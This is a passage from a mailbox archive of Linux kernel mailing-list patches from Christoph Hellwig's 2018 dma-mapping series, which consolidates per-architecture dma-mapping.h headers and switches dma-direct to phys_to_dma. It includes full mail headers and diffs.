+void dma_direct_free(struct device *dev, size_t size, void *cpu_addr,
 		dma_addr_t dma_addr, unsigned long attrs)
 {
 	unsigned int count = PAGE_ALIGN(size) >> PAGE_SHIFT;
-- 
2.14.2

--
To unsubscribe from this list: send the line "unsubscribe sparclinux" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:57 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch-jcswGhMUV9g@public.gmane.org>
Newsgroups: gmane.linux.kernel.iommu,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.ports.hexagon,gmane.linux.kernel.arc,gmane.linux.kernel.metag,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: [PATCH 23/34] dma-mapping: provide a generic asm/dma-mapping.h
Date: Fri, 12 Jan 2018 09:42:21 +0100
Lines: 167
Approved: news@gmane.org
Message-ID: <20180112084232.2857-24-hch@lst.de>
References: <20180112084232.2857-1-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1515746616 30033 195.159.176.226 (12 Jan 2018 08:43:36 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 12 Jan 2018 08:43:36 +0000 (UTC)
Cc: linux-mips-6z/3iImG2C8G8FEW9MqTrA@public.gmane.org, linux-ia64-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-sh-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, sparclinux-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	Guan Xuetao <gxt-TG0Ac1+ktVePQbnJrJN+5g@public.gmane.org>, linux-arch-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-s390-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-c6x-dev-jPsnJVOj+W6hPH1hqNUYSQ@public.gmane.org,
	linux-hexagon-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, x86-DgEjT+Ai2ygdnm+yROfE0A@public.gmane.org,
	Konrad Rzeszutek Wilk <konrad-Gq0aWv8utHQdnm+yROfE0A@public.gmane.org>,
	linux-snps-arc-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org,
	linux-m68k-cunTk1MwBs8S/qaLPR03pWD2FQJk+8+b@public.gmane.org, patches-q3qR2WxjNRFS9aJRtSZj7A@public.gmane.org,
	linux-metag-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-arm-kernel-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org,
	Michal Simek <monstr-pSz03upnqPeHXe+LvDLADg@public.gmane.org>, linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-cris-kernel-VrBV9hrLPhE@public.gmane.org, linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-alpha-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linuxppc-dev-uLR06cmDAlY/bJ5BZ2RsiQ@public.gmane.org
To: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Original-X-From: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org Fri Jan 12 09:43:30 2018
Return-path: <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
Envelope-to: glki-iommu@m.gmane.org
Original-Received: from mail.linuxfoundation.org ([140.211.169.12])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>)
	id 1eZuvr-0007AC-IV
	for glki-iommu@m.gmane.org; Fri, 12 Jan 2018 09:43:23 +0100
Original-Received: from mail.linux-foundation.org (localhost [127.0.0.1])
	by mail.linuxfoundation.org (Postfix) with ESMTP id 93008104A;
	Fri, 12 Jan 2018 08:43:56 +0000 (UTC)
X-Original-To: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Delivered-To: iommu-i9wRM+HIrmnmtl4Z8vJ8Kg761KYD1DLY@public.gmane.org
Original-Received: from smtp2.linuxfoundation.org (smtp2.linux-foundation.org
	[172.17.192.36])
	by mail.linuxfoundation.org (Postfix) with ESMTPS id EDBA31062
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Fri, 12 Jan 2018 08:43:54 +0000 (UTC)
X-Greylist: from auto-whitelisted by SQLgrey-1.7.6
Original-Received: from bombadil.infradead.org (bombadil.infradead.org [65.50.211.133])
	by smtp2.linuxfoundation.org (Postfix) with ESMTPS id 13F031E047
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Fri, 12 Jan 2018 08:43:54 +0000 (UTC)
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=infradead.org; s=bombadil.20170209;
	h=References:In-Reply-To:Message-Id:
	Date:Subject:Cc:To:From:Sender:Reply-To:MIME-Version:Content-Type:
	Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
	Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:
	List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
	bh=fIXo7ye4ABGbI8Z4l4PS8W/qsplgIha60NnhRjQOjp8=;
	b=cTH3pbvlpH6oXJ/SU3/2y3F6a
	cN+IDIjPs0x8/czOFFY2CzKcQkM5krqXgDagZPeLcqMOAoRJyd80OiHEKNRe/aINkG38Leh210H3P
	nZiqdmShVGKG7UR/U9pazeS3ywEVB2mymrphcagAuh69l7MSZ+TB8ku7P1wQct5z72BNuleKY6ZwV
	G0r7c8cNMr/6nmCTiIfoygCDaZPJE/UVofopdqBv1fn1fwsodGwMdpUU+1guEmMLgW17qQ3wFFgbW
	d51DJYSxz2j+GzeQlLZU3kvw00dEoP6leMmj8Xa6/31d3gVU/Mt7td5/AkvIuPkyyxccuUvhDjSQH
	99Z7EhplA==;
Original-Received: from [188.21.167.3] (helo=localhost)
	by bombadil.infradead.org with esmtpsa (Exim 4.89 #1 (Red Hat Linux))
	id 1eZuwH-0008Js-27; Fri, 12 Jan 2018 08:43:49 +0000
X-Mailer: git-send-email 2.14.2
In-Reply-To: <20180112084232.2857-1-hch-jcswGhMUV9g@public.gmane.org>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch-wEGCiKHe2LqWVfeAwA7xHQ@public.gmane.org> by
	bombadil.infradead.org. See http://www.infradead.org/rpr.html
X-BeenThere: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
X-Mailman-Version: 2.1.12
Precedence: list
List-Id: Development issues for Linux IOMMU support
	<iommu.lists.linux-foundation.org>
List-Unsubscribe: <https://lists.linuxfoundation.org/mailman/options/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=unsubscribe>
List-Archive: <http://lists.linuxfoundation.org/pipermail/iommu/>
List-Post: <mailto:iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
List-Help: <mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=help>
List-Subscribe: <https://lists.linuxfoundation.org/mailman/listinfo/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=subscribe>
Original-Sender: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Errors-To: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Xref: news.gmane.org gmane.linux.kernel.iommu:22171 gmane.linux.ports.mips.general:63312 gmane.linux.ports.ia64:28615 gmane.linux.ports.sh.devel:56316 gmane.linux.ports.sparc:27265 gmane.linux.kernel.cross-arch:41473 gmane.linux.ports.hexagon:1580 gmane.linux.kernel.arc:3364 gmane.linux.kernel.metag:1657 gmane.linux.ports.arm.kernel:625670 gmane.linux.ports.parisc:28257 gmane.linux.kernel:2665104 gmane.linux.ports.alpha:4754 gmane.linux.ports.ppc64.devel:152039
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.iommu/22171>

For architectures that just use the generic dma_noop_ops we can provide
a generic version of dma-mapping.h.

Signed-off-by: Christoph Hellwig <hch-jcswGhMUV9g@public.gmane.org>
---
 MAINTAINERS                          |  1 +
 arch/m32r/include/asm/Kbuild         |  1 +
 arch/m32r/include/asm/dma-mapping.h  | 17 -----------------
 arch/riscv/include/asm/Kbuild        |  1 +
 arch/riscv/include/asm/dma-mapping.h | 30 ------------------------------
 arch/s390/include/asm/Kbuild         |  1 +
 arch/s390/include/asm/dma-mapping.h  | 17 -----------------
 include/asm-generic/dma-mapping.h    | 10 ++++++++++
 8 files changed, 14 insertions(+), 64 deletions(-)
 delete mode 100644 arch/m32r/include/asm/dma-mapping.h
 delete mode 100644 arch/riscv/include/asm/dma-mapping.h
 delete mode 100644 arch/s390/include/asm/dma-mapping.h
 create mode 100644 include/asm-generic/dma-mapping.h

diff --git a/MAINTAINERS b/MAINTAINERS
index d2cfdcce1db5..234e642e7149 100644
--- a/MAINTAINERS
+++ b/MAINTAINERS
@@ -4338,6 +4338,7 @@ F:	lib/dma-noop.c
 F:	lib/dma-virt.c
 F:	drivers/base/dma-mapping.c
 F:	drivers/base/dma-coherent.c
+F:	include/asm-generic/dma-mapping.h
 F:	include/linux/dma-direct.h
 F:	include/linux/dma-mapping.h
 
diff --git a/arch/m32r/include/asm/Kbuild b/arch/m32r/include/asm/Kbuild
index 7e11b125c35e..ca83fda8177b 100644
--- a/arch/m32r/include/asm/Kbuild
+++ b/arch/m32r/include/asm/Kbuild
@@ -1,5 +1,6 @@
 generic-y += clkdev.h
 generic-y += current.h
+generic-y += dma-mapping.h
 generic-y += exec.h
 generic-y += extable.h
 generic-y += irq_work.h
diff --git a/arch/m32r/include/asm/dma-mapping.h b/arch/m32r/include/asm/dma-mapping.h
deleted file mode 100644
index 8967fb659691..000000000000
--- a/arch/m32r/include/asm/dma-mapping.h
+++ /dev/null
@@ -1,17 +0,0 @@
-/* SPDX-License-Identifier: GPL-2.0 */
-#ifndef _ASM_M32R_DMA_MAPPING_H
-#define _ASM_M32R_DMA_MAPPING_H
-
-#include <linux/kernel.h>
-#include <linux/types.h>
-#include <linux/mm.h>
-#include <linux/scatterlist.h>
-#include <linux/dma-debug.h>
-#include <linux/io.h>
-
-static inline const struct dma_map_ops *get_arch_dma_ops(struct bus_type *bus)
-{
-	return &dma_noop_ops;
-}
-
-#endif /* _ASM_M32R_DMA_MAPPING_H */
diff --git a/arch/riscv/include/asm/Kbuild b/arch/riscv/include/asm/Kbuild
index 970460a0b492..197460ccbf21 100644
--- a/arch/riscv/include/asm/Kbuild
+++ b/arch/riscv/include/asm/Kbuild
@@ -7,6 +7,7 @@ generic-y += device.h
 generic-y += div64.h
 generic-y += dma.h
 generic-y += dma-contiguous.h
+generic-y += dma-mapping.h
 generic-y += emergency-restart.h
 generic-y += errno.h
 generic-y += exec.h
diff --git a/arch/riscv/include/asm/dma-mapping.h b/arch/riscv/include/asm/dma-mapping.h
deleted file mode 100644
index 73849e2cc761..000000000000
--- a/arch/riscv/include/asm/dma-mapping.h
+++ /dev/null
@@ -1,30 +0,0 @@
-/*
- * Copyright (C) 2003-2004 Hewlett-Packard Co
- *	David Mosberger-Tang <davidm-sDzT885Ts8HQT0dZR+AlfA@public.gmane.org>
- * Copyright (C) 2012 ARM Ltd.
- * Copyright (C) 2016 SiFive, Inc.
- *
- * This program is free software; you can redistribute it and/or modify
- * it under the terms of the GNU General Public License version 2 as
- * published by the Free Software Foundation.
- *
- * This program is distributed in the hope that it will be useful,
- * but WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
- * GNU General Public License for more details.
- *
- * You should have received a copy of the GNU General Public License
- * along with this program.  If not, see <http://www.gnu.org/licenses/>.
- */
-#ifndef __ASM_RISCV_DMA_MAPPING_H
-#define __ASM_RISCV_DMA_MAPPING_H
-
-/* Use ops->dma_mapping_error (if it exists) or assume success */
-// #undef DMA_ERROR_CODE
-
-static inline const struct dma_map_ops *get_arch_dma_ops(struct bus_type *bus)
-{
-	return &dma_noop_ops;
-}
-
-#endif	/* __ASM_RISCV_DMA_MAPPING_H */
diff --git a/arch/s390/include/asm/Kbuild b/arch/s390/include/asm/Kbuild
index 048450869328..dade72be127b 100644
--- a/arch/s390/include/asm/Kbuild
+++ b/arch/s390/include/asm/Kbuild
@@ -4,6 +4,7 @@ generic-y += cacheflush.h
 generic-y += clkdev.h
 generic-y += device.h
 generic-y += dma-contiguous.h
+generic-y += dma-mapping.h
 generic-y += div64.h
 generic-y += emergency-restart.h
 generic-y += export.h
diff --git a/arch/s390/include/asm/dma-mapping.h b/arch/s390/include/asm/dma-mapping.h
deleted file mode 100644
index bdc2455483f6..000000000000
--- a/arch/s390/include/asm/dma-mapping.h
+++ /dev/null
@@ -1,17 +0,0 @@
-/* SPDX-License-Identifier: GPL-2.0 */
-#ifndef _ASM_S390_DMA_MAPPING_H
-#define _ASM_S390_DMA_MAPPING_H
-
-#include <linux/kernel.h>
-#include <linux/types.h>
-#include <linux/mm.h>
-#include <linux/scatterlist.h>
-#include <linux/dma-debug.h>
-#include <linux/io.h>
-
-static inline const struct dma_map_ops *get_arch_dma_ops(struct bus_type *bus)
-{
-	return &dma_noop_ops;
-}
-
-#endif /* _ASM_S390_DMA_MAPPING_H */
diff --git a/include/asm-generic/dma-mapping.h b/include/asm-generic/dma-mapping.h
new file mode 100644
index 000000000000..164031531d85
--- /dev/null
+++ b/include/asm-generic/dma-mapping.h
@@ -0,0 +1,10 @@
+/* SPDX-License-Identifier: GPL-2.0 */
+#ifndef _ASM_GENERIC_DMA_MAPPING_H
+#define _ASM_GENERIC_DMA_MAPPING_H
+
+static inline const struct dma_map_ops *get_arch_dma_ops(struct bus_type *bus)
+{
+	return &dma_noop_ops;
+}
+
+#endif /* _ASM_GENERIC_DMA_MAPPING_H */
-- 
2.14.2


From - Thu Nov 08 21:40:57 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch-jcswGhMUV9g@public.gmane.org>
Newsgroups: gmane.linux.kernel.iommu,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.ports.hexagon,gmane.linux.kernel.arc,gmane.linux.kernel.metag,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: [PATCH 25/34] dma-direct: use phys_to_dma
Date: Fri, 12 Jan 2018 09:42:23 +0100
Lines: 65
Approved: news@gmane.org
Message-ID: <20180112084232.2857-26-hch@lst.de>
References: <20180112084232.2857-1-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1515746630 703 195.159.176.226 (12 Jan 2018 08:43:50 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 12 Jan 2018 08:43:50 +0000 (UTC)
Cc: linux-mips-6z/3iImG2C8G8FEW9MqTrA@public.gmane.org, linux-ia64-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-sh-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, sparclinux-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	Guan Xuetao <gxt-TG0Ac1+ktVePQbnJrJN+5g@public.gmane.org>, linux-arch-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-s390-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-c6x-dev-jPsnJVOj+W6hPH1hqNUYSQ@public.gmane.org,
	linux-hexagon-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, x86-DgEjT+Ai2ygdnm+yROfE0A@public.gmane.org,
	Konrad Rzeszutek Wilk <konrad-Gq0aWv8utHQdnm+yROfE0A@public.gmane.org>,
	linux-snps-arc-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org,
	linux-m68k-cunTk1MwBs8S/qaLPR03pWD2FQJk+8+b@public.gmane.org, patches-q3qR2WxjNRFS9aJRtSZj7A@public.gmane.org,
	linux-metag-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-arm-kernel-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org,
	Michal Simek <monstr-pSz03upnqPeHXe+LvDLADg@public.gmane.org>, linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-cris-kernel-VrBV9hrLPhE@public.gmane.org, linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-alpha-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linuxppc-dev-uLR06cmDAlY/bJ5BZ2RsiQ@public.gmane.org
To: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Original-X-From: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org Fri Jan 12 09:43:45 2018
Return-path: <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
Envelope-to: glki-iommu@m.gmane.org
Original-Received: from mail.linuxfoundation.org ([140.211.169.12])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>)
	id 1eZuw2-0007jK-Ob
	for glki-iommu@m.gmane.org; Fri, 12 Jan 2018 09:43:35 +0100
Original-Received: from mail.linux-foundation.org (localhost [127.0.0.1])
	by mail.linuxfoundation.org (Postfix) with ESMTP id 02F19BC2;
	Fri, 12 Jan 2018 08:44:01 +0000 (UTC)
X-Original-To: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Delivered-To: iommu-i9wRM+HIrmnmtl4Z8vJ8Kg761KYD1DLY@public.gmane.org
Original-Received: from smtp2.linuxfoundation.org (smtp2.linux-foundation.org
	[172.17.192.36])
	by mail.linuxfoundation.org (Postfix) with ESMTPS id BC80EBC2
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Fri, 12 Jan 2018 08:43:59 +0000 (UTC)
X-Greylist: from auto-whitelisted by SQLgrey-1.7.6
Original-Received: from bombadil.infradead.org (bombadil.infradead.org [65.50.211.133])
	by smtp2.linuxfoundation.org (Postfix) with ESMTPS id 63A9E1E05B
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Fri, 12 Jan 2018 08:43:59 +0000 (UTC)
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=infradead.org; s=bombadil.20170209;
	h=References:In-Reply-To:Message-Id:
	Date:Subject:Cc:To:From:Sender:Reply-To:MIME-Version:Content-Type:
	Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
	Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:
	List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
	bh=CX1zuxJARuw9pJjSQKZbBPexsVAZhsP7gC/aAs5WFL8=;
	b=HSwAKXHaScgAKyOYlmqJFQEdN
	bhI4dipJOz0MOMq9ih0LFdc1wnXL/DuACSY/YUDdjC+4eTKWCV9NNioSVLujI9fRnozTlu3WYKfXJ
	lajLERC7k20+SrNwoMAPImDe+a85DYCFIG6LjH3E3Rd/YEFxoq4n0W1TmvtMrJnCK3UX/ILiKFqrW
	8AFTw5jqLTbfcn0X4WXcyfWQwASnzXFsFN8sM5V3PxUq1Ngqf0Tg8UwHzxDTCtFdhtNvDi+PFGi3w
	XFjuC3OZVpEBNNNZv6VXmMQkzTDGKrNBdseuA8q0s/ZKoci/ju7vDJ6ujWhZVaMTlG85ZDsQH7tR+
	PThl1No2w==;
Original-Received: from [188.21.167.3] (helo=localhost)
	by bombadil.infradead.org with esmtpsa (Exim 4.89 #1 (Red Hat Linux))
	id 1eZuwM-0008Qf-V3; Fri, 12 Jan 2018 08:43:55 +0000
X-Mailer: git-send-email 2.14.2
In-Reply-To: <20180112084232.2857-1-hch-jcswGhMUV9g@public.gmane.org>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch-wEGCiKHe2LqWVfeAwA7xHQ@public.gmane.org> by
	bombadil.infradead.org. See http://www.infradead.org/rpr.html
X-BeenThere: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
X-Mailman-Version: 2.1.12
Precedence: list
List-Id: Development issues for Linux IOMMU support
	<iommu.lists.linux-foundation.org>
List-Unsubscribe: <https://lists.linuxfoundation.org/mailman/options/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=unsubscribe>
List-Archive: <http://lists.linuxfoundation.org/pipermail/iommu/>
List-Post: <mailto:iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
List-Help: <mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=help>
List-Subscribe: <https://lists.linuxfoundation.org/mailman/listinfo/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=subscribe>
Original-Sender: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Errors-To: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Xref: news.gmane.org gmane.linux.kernel.iommu:22172 gmane.linux.ports.mips.general:63313 gmane.linux.ports.ia64:28616 gmane.linux.ports.sh.devel:56317 gmane.linux.ports.sparc:27266 gmane.linux.kernel.cross-arch:41474 gmane.linux.ports.hexagon:1581 gmane.linux.kernel.arc:3365 gmane.linux.kernel.metag:1658 gmane.linux.ports.arm.kernel:625671 gmane.linux.ports.parisc:28258 gmane.linux.kernel:2665105 gmane.linux.ports.alpha:4755 gmane.linux.ports.ppc64.devel:152040
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.iommu/22172>

This means it uses whatever linear remapping scheme that the architecture
provides is used in the generic dma_direct ops.

Signed-off-by: Christoph Hellwig <hch-jcswGhMUV9g@public.gmane.org>
Reviewed-by: Vladimir Murzin <vladimir.murzin-5wv7dgnIgG8@public.gmane.org>
---
 lib/dma-direct.c | 18 +++++++-----------
 1 file changed, 7 insertions(+), 11 deletions(-)

diff --git a/lib/dma-direct.c b/lib/dma-direct.c
index 0ec3262a3148..12ea9653781b 100644
--- a/lib/dma-direct.c
+++ b/lib/dma-direct.c
@@ -1,12 +1,11 @@
 // SPDX-License-Identifier: GPL-2.0
 /*
- *	lib/dma-noop.c
- *
- * DMA operations that map to physical addresses without flushing memory.
+ * DMA operations that map physical memory directly without using an IOMMU or
+ * flushing caches.
  */
 #include <linux/export.h>
 #include <linux/mm.h>
-#include <linux/dma-mapping.h>
+#include <linux/dma-direct.h>
 #include <linux/scatterlist.h>
 #include <linux/pfn.h>
 
@@ -17,7 +16,7 @@ static void *dma_direct_alloc(struct device *dev, size_t size,
 
 	ret = (void *)__get_free_pages(gfp, get_order(size));
 	if (ret)
-		*dma_handle = virt_to_phys(ret) - PFN_PHYS(dev->dma_pfn_offset);
+		*dma_handle = phys_to_dma(dev, virt_to_phys(ret));
 
 	return ret;
 }
@@ -32,7 +31,7 @@ static dma_addr_t dma_direct_map_page(struct device *dev, struct page *page,
 		unsigned long offset, size_t size, enum dma_data_direction dir,
 		unsigned long attrs)
 {
-	return page_to_phys(page) + offset - PFN_PHYS(dev->dma_pfn_offset);
+	return phys_to_dma(dev, page_to_phys(page)) + offset;
 }
 
 static int dma_direct_map_sg(struct device *dev, struct scatterlist *sgl,
@@ -42,12 +41,9 @@ static int dma_direct_map_sg(struct device *dev, struct scatterlist *sgl,
 	struct scatterlist *sg;
 
 	for_each_sg(sgl, sg, nents, i) {
-		dma_addr_t offset = PFN_PHYS(dev->dma_pfn_offset);
-		void *va;
-
 		BUG_ON(!sg_page(sg));
-		va = sg_virt(sg);
-		sg_dma_address(sg) = (dma_addr_t)virt_to_phys(va) - offset;
+
+		sg_dma_address(sg) = phys_to_dma(dev, sg_phys(sg));
 		sg_dma_len(sg) = sg->length;
 	}
 
-- 
2.14.2


From - Thu Nov 08 21:40:57 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch@lst.de>
Newsgroups: gmane.linux.ports.sparc,gmane.linux.kernel.iommu,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.kernel.cross-arch,gmane.linux.kernel
Subject: [PATCH 30/34] dma-direct: retry allocations using GFP_DMA for small masks
Date: Fri, 12 Jan 2018 09:42:28 +0100
Lines: 67
Approved: news@gmane.org
Message-ID: <20180112084232.2857-31-hch@lst.de>
References: <20180112084232.2857-1-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1515746639 2225 195.159.176.226 (12 Jan 2018 08:43:59 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 12 Jan 2018 08:43:59 +0000 (UTC)
Cc: Konrad Rzeszutek Wilk <konrad@darnok.org>,
        linux-alpha@vger.kernel.org, linux-snps-arc@lists.infradead.org,
        linux-arm-kernel@lists.infradead.org, linux-c6x-dev@linux-c6x.org,
        linux-cris-kernel@axis.com, linux-hexagon@vger.kernel.org,
        linux-ia64@vger.kernel.org, linux-m68k@lists.linux-m68k.org,
        linux-metag@vger.kernel.org, Michal Simek <monstr@monstr.eu>,
        linux-mips@linux-mips.org, linux-parisc@vger.kernel.org,
        linuxppc-dev@lists.ozlabs.org, patches@groups.riscv.org,
        linux-s390@vger.kernel.org, linux-sh@vger.kernel.org,
        sparclinux@vger.kernel.org, Guan Xuetao <gxt@mprc.pku.edu.cn>,
        x86@kernel.org, linux-arch@vger.kernel.org,
        linux-kernel@vger.kernel.org
To: iommu@lists.linux-foundation.org
Original-X-From: sparclinux-owner@vger.kernel.org Fri Jan 12 09:43:53 2018
Return-path: <sparclinux-owner@vger.kernel.org>
Envelope-to: lnx-sparclinux@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <sparclinux-owner@vger.kernel.org>)
	id 1eZuwC-0007Yh-Bm
	for lnx-sparclinux@m.gmane.org; Fri, 12 Jan 2018 09:43:44 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1754741AbeALIps (ORCPT <rfc822;lnx-sparclinux@m.gmane.org>);
        Fri, 12 Jan 2018 03:45:48 -0500
Original-Received: from bombadil.infradead.org ([65.50.211.133]:44458 "EHLO
        bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S934091AbeALIoQ (ORCPT
        <rfc822;sparclinux@vger.kernel.org>); Fri, 12 Jan 2018 03:44:16 -0500
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
        d=infradead.org; s=bombadil.20170209; h=References:In-Reply-To:Message-Id:
        Date:Subject:Cc:To:From:Sender:Reply-To:MIME-Version:Content-Type:
        Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
        Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:
        List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
         bh=dC4QDkn6P87UCg+vJleo7MZnua57rTtY7s1pAiXnHFE=; b=mpLy/MkzY0yr2DyMk613I1kpX
        CrtrPBlIhpIr6TzuJw47wuyjES+8tCXXUk9Ndmi7U5z/BV9XRm8ZNWG/srrnIXAJDvBjyVZOeGe+2
